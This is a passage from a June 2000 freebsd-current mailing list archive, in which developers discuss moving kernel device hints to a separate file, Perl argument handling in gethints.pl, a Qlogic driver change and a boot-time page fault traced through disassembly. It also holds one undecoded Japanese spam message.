your dog, > close your bank accounts, report you to the IRS, or maybe even something > bad. Well, I updated today (CVSup as of 16th June 20:00 UTC) And it worked fine except 1) the generated makefile for my kernel/modules build directory was broken (missing a ; \) - I've been told this is fixed, and 2) I had 'device sc' when it should have been 'device sc 1'. I had a minor problem where the perl script generated lines like -> hint.fdc.0.port=""0x3F0"" Which the loader barfed on.. easy to fix though. --- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 23:19:27 2000 Delivered-To: freebsd-current@freebsd.org Received: from gidora.zeta.org.au (gidora.zeta.org.au [203.26.10.25]) by hub.freebsd.org (Postfix) with SMTP id DFFA237B7C9 for ; Fri, 16 Jun 2000 23:19:22 -0700 (PDT) (envelope-from bde@zeta.org.au) Received: (qmail 18282 invoked from network); 17 Jun 2000 06:19:20 -0000 Received: from unknown (HELO bde.zeta.org.au) (203.2.228.102) by gidora.zeta.org.au with SMTP; 17 Jun 2000 06:19:20 -0000 Date: Sat, 17 Jun 2000 16:19:18 +1000 (EST) From: Bruce Evans X-Sender: bde@besplex.bde.org To: Nick Hibma Cc: Poul-Henning Kamp , current@FreeBSD.ORG Subject: Re: HEADSUP: bioops patch. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 16 Jun 2000, Nick Hibma wrote: > What about using uppercase names for > > buf_complete -> BUF_COMPLETE > > and friends to make it apparent that an indirect call is being made and Ugh. Upper case names for function-like interfaces are for ones that might be implemented as unsafe macros. > that the function might not be supported on that struct buf. Much like > newbus, kobj, and vnode ops. New interfaces like newbus and kobj shouldn't have allowed for being misimplemented as unsafe macros. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 23:35:21 2000 Delivered-To: freebsd-current@freebsd.org Received: from smtp01.mrf.mail.rcn.net (smtp01.mrf.mail.rcn.net [207.172.4.60]) by hub.freebsd.org (Postfix) with ESMTP id 579D037B564 for ; Fri, 16 Jun 2000 23:35:18 -0700 (PDT) (envelope-from jacobson@pobox.com) Received: from 216-164-250-63.s571.tnt1.atn.pa.dialup.rcn.com ([216.164.250.63] helo=home.my.domain) by smtp01.mrf.mail.rcn.net with esmtp (Exim 2.12 #3) id 133CCI-0000nJ-00; Sat, 17 Jun 2000 02:35:15 -0400 Received: from home (joe@localhost [127.0.0.1]) by home.my.domain (8.9.3/8.9.3) with ESMTP id CAA03347; Sat, 17 Jun 2000 02:35:05 -0400 (EDT) (envelope-from joe@home.my.domain) Message-Id: <200006170635.CAA03347@home.my.domain> To: current@freebsd.org Subject: Re: GENERIC from today does not detect system console on my box Cc: peter@netplex.com.au, chris@calldei.com From: Joseph Jacobson Date: Sat, 17 Jun 2000 02:35:05 -0400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >Chris Costello wrote: >> On Friday, June 16, 2000, Peter Wemm wrote: >> > Err.. how did you run it? 'perl < MYKERNEL'? If you run 'perl MYKERNEL' >> > it will generate nothing because I was kinda lame and didn't know how to do >> > argument parsing. :-] >> >> Couldn't have hurt to ask. >> >> while (defined($ARGV[0])) { >> # ... parse ... >> shift; >> } >> >> It'd work as perl script.pl arg1 arg2 ... or as ./script.pl >> arg1 arg2 ... (if +x). > >How about that and as a stdin pipe as well if no args are specified? while (<>) { # parse # ... } does this. It is a simple construct, but magical and generally does what you want. You can even modify the @ARGV array in the middle of the loop and have it work correctly. Perl is filled with these programming shortcuts, thus its beauty and strength. Joe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jun 17 1:14:18 2000 Delivered-To: freebsd-current@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 157F837B574 for ; Sat, 17 Jun 2000 01:14:10 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p09-dn02kiryunisiki.gunma.ocn.ne.jp [211.0.245.74]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id RAA15822; Sat, 17 Jun 2000 17:13:55 +0900 (JST) Message-ID: <394B2ABB.51F3347F@newsguy.com> Date: Sat, 17 Jun 2000 16:37:31 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: "Jordan K. Hubbard" Cc: Peter Wemm , van.woerkom@netcologne.de, current@FreeBSD.ORG Subject: Re: GENERIC from today does not detect system console on my box References: <2744.961217841@localhost> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Jordan K. Hubbard" wrote: > > > Err.. how did you run it? 'perl < MYKERNEL'? If you run 'perl MYKERNEL' > > it will generate nothing because I was kinda lame and didn't know how to do > > argument parsing. :-] > > Yep, I ran it exactly as you specified in your "HEADS UP" message > to -current. It generates no output for either GENERIC or for my > kernel config file: > > jkh@zippy-> perl gethints.pl < ZIPPY > jkh@zippy-> perl gethints.pl < GENERIC > > jkh@zippy-> which perl > /usr/bin/perl > jkh@zippy-> /usr/bin/perl -v > > This is perl, version 5.005_03 built for i386-freebsd Did you run this before or after stripping down the kernel of the "at ..." stuff? -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org capo@the.great.underground.bsdconpiracy.org "He is my minion, so he doesn't need a name." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jun 17 1:21:31 2000 Delivered-To: freebsd-current@freebsd.org Received: from overcee.netplex.com.au (peter1.corp.yahoo.com [208.48.107.4]) by hub.freebsd.org (Postfix) with ESMTP id 146C237B574 for ; Sat, 17 Jun 2000 01:21:28 -0700 (PDT) (envelope-from peter@netplex.com.au) Received: from netplex.com.au (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id 11FFD1CE2; Sat, 17 Jun 2000 01:21:26 -0700 (PDT) (envelope-from peter@netplex.com.au) X-Mailer: exmh version 2.1.1 10/15/1999 To: "Jordan K. Hubbard" Cc: van.woerkom@netcologne.de, current@FreeBSD.ORG Subject: Re: GENERIC from today does not detect system console on my box In-Reply-To: Message from "Jordan K. Hubbard" of "Fri, 16 Jun 2000 21:57:21 PDT." <2744.961217841@localhost> Date: Sat, 17 Jun 2000 01:21:26 -0700 From: Peter Wemm Message-Id: <20000617082126.11FFD1CE2@overcee.netplex.com.au> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Jordan K. Hubbard" wrote: > > Err.. how did you run it? 'perl < MYKERNEL'? If you run 'perl MYKERNEL' > > it will generate nothing because I was kinda lame and didn't know how to do > > argument parsing. :-] > > Yep, I ran it exactly as you specified in your "HEADS UP" message > to -current. It generates no output for either GENERIC or for my > kernel config file: > > jkh@zippy-> perl gethints.pl < ZIPPY > jkh@zippy-> perl gethints.pl < GENERIC Uhh... gethints.pl is a once-only tool to help you get from an old config to a new one. Once you have stripped out the hints, gethints will find none. GENERIC.hints is the corresponding hints file for what used to be in GENERIC. If you had copied GENERIC to ZIPPY, you should probably use GENERIC.hints as your skeleton for /boot/device.hints Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jun 17 2: 7:36 2000 Delivered-To: freebsd-current@freebsd.org Received: from grimreaper.grondar.za (grimreaper.grondar.za [196.7.18.138]) by hub.freebsd.org (Postfix) with ESMTP id 96A9137B6DC for ; Sat, 17 Jun 2000 02:07:27 -0700 (PDT) (envelope-from mark@grondar.za) Received: from grimreaper.grondar.za (localhost [127.0.0.1]) by grimreaper.grondar.za (8.9.3/8.9.3) with ESMTP id LAA13791; Sat, 17 Jun 2000 11:06:44 +0200 (SAST) (envelope-from mark@grimreaper.grondar.za) Message-Id: <200006170906.LAA13791@grimreaper.grondar.za> To: chris@calldei.com Cc: Peter Wemm , "Jordan K. Hubbard" , van.woerkom@netcologne.de, current@FreeBSD.ORG Subject: Re: GENERIC from today does not detect system console on my box References: <20000616202921.D98160@holly.calldei.com> In-Reply-To: <20000616202921.D98160@holly.calldei.com> ; from Chris Costello "Fri, 16 Jun 2000 20:29:22 EST." Date: Sat, 17 Jun 2000 11:06:44 +0200 From: Mark Murray Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On Friday, June 16, 2000, Peter Wemm wrote: > > Err.. how did you run it? 'perl < MYKERNEL'? If you run 'perl MYKERNEL' > > it will generate nothing because I was kinda lame and didn't know how to do > > argument parsing. :-] > > Couldn't have hurt to ask. > > while (defined($ARGV[0])) { > # ... parse ... > shift; > } Better: while (<>) { #stuff } Handles both the "myprog < file" and the "myprog file1 file2 ..." cases automagically. M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jun 17 2:38:55 2000 Delivered-To: freebsd-current@freebsd.org Received: from basil.freemail.ne.jp (basil.freemail.ne.jp [210.235.164.33]) by hub.freebsd.org (Postfix) with SMTP id 27D7237BAA6 for ; Sat, 17 Jun 2000 02:38:46 -0700 (PDT) (envelope-from heroine@basil.freemail.ne.jp) Received: (qmail 2253 invoked from network); 17 Jun 2000 18:13:02 +0900 Received: from unknown (HELO default) (210.135.18.28) by basil.freemail.ne.jp with SMTP; 17 Jun 2000 18:13:02 +0900 Message-ID: <042701bfd83c$01f47aa0$02fc0bca@default> To: From: "SHRP" Subject: =?iso-2022-jp?B?GyRCJTkhPCVRITwlUiVtJSQlc05NPys3VzJoGyhC?= Date: Sat, 17 Jun 2000 18:00:09 +0900 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-2022-jp" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.5 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG $B%o%s%@!<%&!<%^%s!"%9!<%Q!<%,!<%k!"$=$NB>$*$b$K9qFb(B $B#7#0G/BeFC;#!&%"%K%a%R%m%$%s$rNM?+$9$k%S%G%*!u\:Y4uK>$NJ}$O(Bheroine04@lovergirl.com$B$K(B $BBj!V(Badd$B!W!"K\J8$K@8G/!JH>3Q?t;z!!Nc!'(B1970$B!K(B $B$r5-$7$F>\:Y;qNA!JD9J8!K$r@A5a$7$F$/$@$5$$!#(B $B!JJV?.$O<+F0=hM}$5$l$k>l9g$,$"$j$^$9$N$G>e$N7A<0$O(B $B@\JV?.$G$O$"$j$^$;$s!#(B $B>e$N%"%I%l%9$K$*4j$$$7$^$9!K(B $B%b%G%k4uK>!Je$K8B!K$N=w@-$O(B heroine@24h.co.jp$B$^$G(B $BBj!V(Bmodel$B!W!#K\J8$K4JC1$J<+8J>R2p$r5-$7$F(B $B>\:Y$r@A5a$7$F$/$@$5$$!#(B To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jun 17 15: 5:17 2000 Delivered-To: freebsd-current@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id EE2F337B56F for ; Sat, 17 Jun 2000 15:05:14 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from beppo.feral.com (beppo [192.67.166.79]) by feral.com (8.9.3/8.9.3) with ESMTP id PAA09043 for ; Sat, 17 Jun 2000 15:05:12 -0700 Date: Sat, 17 Jun 2000 15:05:13 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: current@freebsd.org Subject: HEADS-UP: for Qlogic (SCSI, Fibre Channel) HBA users Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [ if you don't use any of the Qlogic cards, ignore this message for now ] By tonight a new version of this driver will be checked in that no longer supports most of the config options previously used. The most obvious effect of this change will be that firmware can no longer be compiled into the isp driver (no firmware compiled in has been the default for some time). Instead, a separate kernel module (ispfw) can be loaded by adding the line ispfw_load="YES" to your /boot/loader.conf options. There is no automatic mechanism for unloading this after the isp(4) driver configures, but manual unloading (or some rc script style thingie) can then reclaim the 350KBytes of memory the f/w occupies. If you don't want to use a loadable module, this can be staticly linked (as a pseudo-device- ispfw). As ever, with such changes, leading edge config, toolchain && kernel source with a clean merge/config/rebuild of the kernels you use are a must. Complaints to me. -matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jun 17 16:29:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail2.netcologne.de (mail2.netcologne.de [194.8.194.103]) by hub.freebsd.org (Postfix) with ESMTP id 575D137B654 for ; Sat, 17 Jun 2000 16:29:32 -0700 (PDT) (envelope-from van.woerkom@netcologne.de) Received: from oranje.my.domain (dial-195-14-254-133.netcologne.de [195.14.254.133]) by mail2.netcologne.de (8.9.3/8.9.3) with ESMTP id BAA24487; Sun, 18 Jun 2000 01:29:15 +0200 (MET DST) Received: (from marc@localhost) by oranje.my.domain (8.9.3/8.9.3) id BAA02157; Sun, 18 Jun 2000 01:28:25 +0200 (CEST) (envelope-from van.woerkom@netcologne.de) Date: Sun, 18 Jun 2000 01:28:25 +0200 (CEST) Message-Id: <200006172328.BAA02157@oranje.my.domain> X-Authentication-Warning: oranje.my.domain: marc set sender to van.woerkom@netcologne.de using -f From: Marc van Woerkom To: peter@netplex.com.au Cc: jkh@zippy.osd.bsdi.com, current@FreeBSD.ORG In-reply-to: <20000617082126.11FFD1CE2@overcee.netplex.com.au> (message from Peter Wemm on Sat, 17 Jun 2000 01:21:26 -0700) Subject: Re: GENERIC from today does not detect system console on my box Reply-To: van.woerkom@netcologne.de References: <20000617082126.11FFD1CE2@overcee.netplex.com.au> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Uhh... gethints.pl is a once-only tool to help you get from an old config > to a new one. Once you have stripped out the hints, gethints will find > none. GENERIC.hints is the corresponding hints file for what used to be > in GENERIC. Like Jordan wrote, the solution was in the subject: > Re: GENERIC from today does not detect system console on my box ****************** He seems to have put a new style GENERIC file (thus one that has no hints = port irq etc information for ISA stuff) through the perl script. You might try the script on an old style GENERIC to get the hints.. Regards, Marc To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jun 17 16:35:19 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail2.netcologne.de (mail2.netcologne.de [194.8.194.103]) by hub.freebsd.org (Postfix) with ESMTP id 807E837B813 for ; Sat, 17 Jun 2000 16:35:15 -0700 (PDT) (envelope-from van.woerkom@netcologne.de) Received: from oranje.my.domain (dial-195-14-254-133.netcologne.de [195.14.254.133]) by mail2.netcologne.de (8.9.3/8.9.3) with ESMTP id BAA24722; Sun, 18 Jun 2000 01:35:00 +0200 (MET DST) Received: (from marc@localhost) by oranje.my.domain (8.9.3/8.9.3) id BAA02245; Sun, 18 Jun 2000 01:34:09 +0200 (CEST) (envelope-from van.woerkom@netcologne.de) Date: Sun, 18 Jun 2000 01:34:09 +0200 (CEST) Message-Id: <200006172334.BAA02245@oranje.my.domain> X-Authentication-Warning: oranje.my.domain: marc set sender to van.woerkom@netcologne.de using -f From: Marc van Woerkom Cc: peter@netplex.com.au, jkh@zippy.osd.bsdi.com, current@FreeBSD.ORG In-reply-to: <200006172328.BAA02157@oranje.my.domain> (message from Marc van Woerkom on Sun, 18 Jun 2000 01:28:25 +0200 (CEST)) Subject: Re: GENERIC from today does not detect system console on my box Reply-To: van.woerkom@netcologne.de References: <20000617082126.11FFD1CE2@overcee.netplex.com.au> <200006172328.BAA02157@oranje.my.domain> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > GENERIC.hints is the corresponding hints file for what used to be > > in GENERIC. > > You might try the script on an old style GENERIC to get the hints.. Ignore that last remark. I did not note that you put in a GENERIC.hints in the tree. :) Better go to bed now.. Marc To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jun 17 17: 2:29 2000 Delivered-To: freebsd-current@freebsd.org Received: from pcat.heimat.gr.jp (pcat.heimat.gr.jp [211.0.53.98]) by hub.freebsd.org (Postfix) with ESMTP id 8B40337B5E2 for ; Sat, 17 Jun 2000 17:02:13 -0700 (PDT) (envelope-from nakaji@tutrp.tut.ac.jp) Received: from xa12.heimat.gr.jp (xa12.heimat.gr.jp [211.0.53.97]) by pcat.heimat.gr.jp (8.9.3/3.7W) with ESMTP id JAA14578 for ; Sun, 18 Jun 2000 09:02:04 +0900 (JST) To: freebsd-current@freebsd.org Subject: Re: GENERIC from today does not detect system console on my box References: <20000617082126.11FFD1CE2@overcee.netplex.com.au> <200006172328.BAA02157@oranje.my.domain> <200006172334.BAA02245@oranje.my.domain> X-Face: %kq${$)eD!'Uqm"eT(;zJP3.K&t\N%V+;k,htw)'ucAj<"yAIE7sv`8j_9k1sKoQzXiH5i( M`cHG,^.l}h/l:-eGB\f[b+*C`>{=}E?+}L6U99;'.%0jaa8as]_i02^:zexCUr+&+Gv7_%>@ XiR,wQyBL}LMF)oX+y`4w;m$;,F9QPMwqm@F@ibzi9K<0U]:QBb8|jaob7)`2ayeF&!Ci~4IQw:5^1 BS3&;K MIME-Version: 1.0 (generated by REMI 1.14.1 - =?ISO-8859-4?Q?=22Mushigawa=F2?= =?ISO-8859-4?Q?sugi=22?=) Content-Type: text/plain; charset=US-ASCII From: NAKAJI Hiroyuki Date: 18 Jun 2000 09:02:03 +0900 In-Reply-To: <200006172334.BAA02245@oranje.my.domain> (Marc van Woerkom's message of "Sun, 18 Jun 2000 01:34:09 +0200 (CEST)") Message-ID: <86zoojq2kk.fsf@xa12.heimat.gr.jp> Lines: 17 User-Agent: T-gnus/6.14.4 (based on Gnus v5.8.6) (revision 03) REMI/1.14.1 (=?ISO-8859-4?Q?Mushigawa=F2sugi?=) Chao/1.14.1 (=?ISO-8859-4?Q?Rokujiz?= =?ISO-8859-4?Q?=F2?=) APEL/10.2 MULE XEmacs/21.2 (beta34) (Molpe) (i386--freebsd) Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I copied GENERIC and GENERIC.hints to MYKERNEL and MYKERNEL.hints respective, and edit them to suit my system. In MYKERNEL, I changed a line of hints to hints "MYKERNEL.hints" and because my fe0's irq is 6, I modified MYKERNEL.hints hint.fe.0.irq="6" Is this ok? I never used *.pl script because I noticed the above way first. :) The kernel yesterday (JST) works well. Thanks. -- NAKAJI Hiroyuki To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jun 17 18:23:55 2000 Delivered-To: freebsd-current@freebsd.org Received: from zippy.osd.bsdi.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 793FD37B572 for ; Sat, 17 Jun 2000 18:23:53 -0700 (PDT) (envelope-from jkh@zippy.osd.bsdi.com) Received: from localhost (jkh@localhost [127.0.0.1]) by zippy.osd.bsdi.com (8.9.3/8.9.3) with ESMTP id SAA04181; Sat, 17 Jun 2000 18:24:08 -0700 (PDT) (envelope-from jkh@zippy.osd.bsdi.com) To: van.woerkom@netcologne.de Cc: peter@netplex.com.au, jkh@zippy.osd.bsdi.com, current@FreeBSD.ORG Subject: Re: GENERIC from today does not detect system console on my box In-reply-to: Your message of "Sun, 18 Jun 2000 01:28:25 +0200." <200006172328.BAA02157@oranje.my.domain> Date: Sat, 17 Jun 2000 18:24:08 -0700 Message-ID: <4178.961291448@localhost> From: "Jordan K. Hubbard" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > He seems to have put a new style GENERIC file (thus one that has no > hints = port irq etc information for ISA stuff) through the perl script. > > You might try the script on an old style GENERIC to get the hints.. That was indeed my problem - sorry for the false alarm, folks! I grabbed the GENERIC.hints file and all was well. - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jun 17 18:45:21 2000 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 7576537B523 for ; Sat, 17 Jun 2000 18:45:18 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id SAA68317; Sat, 17 Jun 2000 18:45:15 -0700 (PDT) (envelope-from dillon) Date: Sat, 17 Jun 2000 18:45:15 -0700 (PDT) From: Matthew Dillon Message-Id: <200006180145.SAA68317@apollo.backplane.com> To: "Jordan K. Hubbard" Cc: Peter Wemm , "Jordan K. Hubbard" , van.woerkom@netcologne.de, current@FreeBSD.ORG Subject: Re: GENERIC from today does not detect system console on my box References: <2744.961217841@localhost> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG : :> Err.. how did you run it? 'perl < MYKERNEL'? If you run 'perl MYKERNEL' :> it will generate nothing because I was kinda lame and didn't know how to do :> argument parsing. :-] : :Yep, I ran it exactly as you specified in your "HEADS UP" message :to -current. It generates no output for either GENERIC or for my :kernel config file: : :jkh@zippy-> perl gethints.pl < ZIPPY I made the mistake of updating my -current tree :-( My test box, with a pristine 5.x kernel, crashes on boot... it only gets a few lines in, prints the amount of memory the machine has, and BEWM. Low memory page fault. I tried every combination of device hints files, hints config entries, and so forth that I could think of. I tried turning off the SMP, softupdates, and half a hundred other things and still no go. If I turn on invarients I get an infinite DDB prompt loop. I am going to try backing out Peter's patchset to see if that solves the problem. (In general, I don't think I like putting the hints in a separate place or even a separate file... now I have two or three files I have to deal with rather then one config file. It makes managing bunches of config files annoying. I wish that the earlier format hadn't been ripped out. I don't see much of an advantage of moving it into a loader-accessible file). -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jun 17 18:56:17 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns.cvzoom.net (ns.cvzoom.net [208.226.154.2]) by hub.freebsd.org (Postfix) with SMTP id 0789937B523 for ; Sat, 17 Jun 2000 18:56:15 -0700 (PDT) (envelope-from dmmiller@cvzoom.net) Received: (qmail 4661 invoked from network); 18 Jun 2000 01:56:13 -0000 Received: from lc210.cvzoom.net (208.226.154.210) by ns.cvzoom.net with SMTP; 18 Jun 2000 01:56:13 -0000 Date: Sat, 17 Jun 2000 21:56:13 -0400 (EDT) From: Donn Miller To: Matthew Dillon Cc: "Jordan K. Hubbard" , Peter Wemm , van.woerkom@netcologne.de, current@FreeBSD.ORG Subject: Re: GENERIC from today does not detect system console on my box In-Reply-To: <200006180145.SAA68317@apollo.backplane.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 17 Jun 2000, Matthew Dillon wrote: > My test box, with a pristine 5.x kernel, crashes on boot... it only > gets a few lines in, prints the amount of memory the machine has, > and BEWM. Low memory page fault. I saw the same thing myself. It turns out, though, that I was using COPTFLAGS= -march=pentium -Os -pipe to compile my kernel. When I used the stock opt flags of COPTFLAGS= -O -pipe to compile my kernel, my machine booted OK. It appears as though some changes were put in the tree that are sensitive to optimizations above -O -pipe. My machine never behaved this way before with high optimizations until the new changes were put into -current about 1 or 2 days ago. - Donn To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jun 17 19:55:16 2000 Delivered-To: freebsd-current@freebsd.org Received: from volatile.chemicals.tacorp.com (ci391991-a.grnvle1.sc.home.com [24.9.31.75]) by hub.freebsd.org (Postfix) with ESMTP id 73BB937BC12 for ; Sat, 17 Jun 2000 19:55:10 -0700 (PDT) (envelope-from morganw@chemicals.tacorp.com) Received: (from morganw@localhost) by volatile.chemicals.tacorp.com (8.9.3/8.9.3) id WAA00355; Sat, 17 Jun 2000 22:55:06 -0400 (EDT) (envelope-from morganw) Date: Sat, 17 Jun 2000 22:55:06 -0400 (EDT) From: Wes Morgan To: Donn Miller Cc: current@FreeBSD.ORG Subject: Re: GENERIC from today does not detect system console on my box In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 17 Jun 2000, Donn Miller wrote: > On Sat, 17 Jun 2000, Matthew Dillon wrote: > > > My test box, with a pristine 5.x kernel, crashes on boot... it only > > gets a few lines in, prints the amount of memory the machine has, > > and BEWM. Low memory page fault. > > I saw the same thing myself. It turns out, though, that I was using > > COPTFLAGS= -march=pentium -Os -pipe > > to compile my kernel. When I used the stock opt flags of > > COPTFLAGS= -O -pipe > > to compile my kernel, my machine booted OK. It appears as though some > changes were put in the tree that are sensitive to optimizations above -O > -pipe. My machine never behaved this way before with high optimizations > until the new changes were put into -current about 1 or 2 days ago. Well -pipe isn't technically an optimization... But I was using -O2 and couldn't boot... A kernel with -O will boot. One thing I noticed when changing the flags was that the modules built along with your kernel don't use the compiler flags set in my kernel config file. Has anyone considered addressing this by moving the module objects etc into the kernel build directory? Seems to me it would make maintaining multiple kernels on a single machine even easier. -- _ __ ___ ____ ___ ___ ___ Wesley N Morgan _ __ ___ | _ ) __| \ wesleymorgan@home.com _ __ | _ \._ \ |) | FreeBSD: The Power To Serve _ |___/___/___/ Hi! I'm a .signature virus! Copy me into your ~/.signature to help me spread! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jun 17 20:14:15 2000 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id CD96637B5A9 for ; Sat, 17 Jun 2000 20:14:11 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id UAA69035; Sat, 17 Jun 2000 20:14:09 -0700 (PDT) (envelope-from dillon) Date: Sat, 17 Jun 2000 20:14:09 -0700 (PDT) From: Matthew Dillon Message-Id: <200006180314.UAA69035@apollo.backplane.com> To: Donn Miller Cc: "Jordan K. Hubbard" , Peter Wemm , van.woerkom@netcologne.de, current@FreeBSD.ORG Subject: Re: GENERIC from today does not detect system console on my box References: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :> My test box, with a pristine 5.x kernel, crashes on boot... it only :> gets a few lines in, prints the amount of memory the machine has, :> and BEWM. Low memory page fault. : :I saw the same thing myself. It turns out, though, that I was using : :COPTFLAGS= -march=pentium -Os -pipe : :to compile my kernel. When I used the stock opt flags of : :COPTFLAGS= -O -pipe : :to compile my kernel, my machine booted OK. It appears as though some Yes, that works for me. But I don't think it's the optimizer that's causing the problem. Even though I couldn't get a stack backtrace I was able to look at the stack in hex, and wonud up with: c02347f0 t none_saver c02347f8 T sc_probe_unit c0234844 t scvidprobe c0234870 t sckbdprobe c02348a0 t adapter_name Fault at 0x60 ( IP = 0x60 ... indirect jump through NULL obviously) 0xc0333f04 0xc0333f24 ... 0xc023485b <------- inside scvidprobe ... 0xc02a9aa0 <------- sc_consdev structure ... 0xc0333f4c ... It looks like sccnattach() is calling scvidprobe() and scvidprobe() is then: 0xc023484b : cmpl $0x0,0x10(%ebp) 0xc023484f : setne %al 0xc0234852 : movzbl %al,%eax 0xc0234855 : push %eax 0xc0234856 : call 0xc0229c90 <----**** 0xc023485b : push %ebx 0xc023485c : push $0xc0282682 0xc0234861 : call 0xc0229b4c Calling vid_configure and vid_configure is dying. The list is generated from a linker_set ... one of those special linker lists. Something's broken the list.... maybe the DATA_SET macro is something ilke that. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jun 17 21:58:33 2000 Delivered-To: freebsd-current@freebsd.org Received: from mta1-rme.xtra.co.nz (mta1-rme.xtra.co.nz [203.96.92.1]) by hub.freebsd.org (Postfix) with ESMTP id 4D87637B587 for ; Sat, 17 Jun 2000 21:58:25 -0700 (PDT) (envelope-from kit.mitchell@team.xtra.co.nz) Received: from team.xtra.co.nz ([210.55.238.21]) by mta1-rme.xtra.co.nz (InterMail vM.4.01.02.17 201-229-119) with ESMTP id <20000618045822.LTWN5139981.mta1-rme.xtra.co.nz@team.xtra.co.nz>; Sun, 18 Jun 2000 16:58:22 +1200 Message-ID: <394C564E.B59E8225@team.xtra.co.nz> Date: Sun, 18 Jun 2000 17:55:42 +1300 From: kit X-Mailer: Mozilla 4.72 [en] 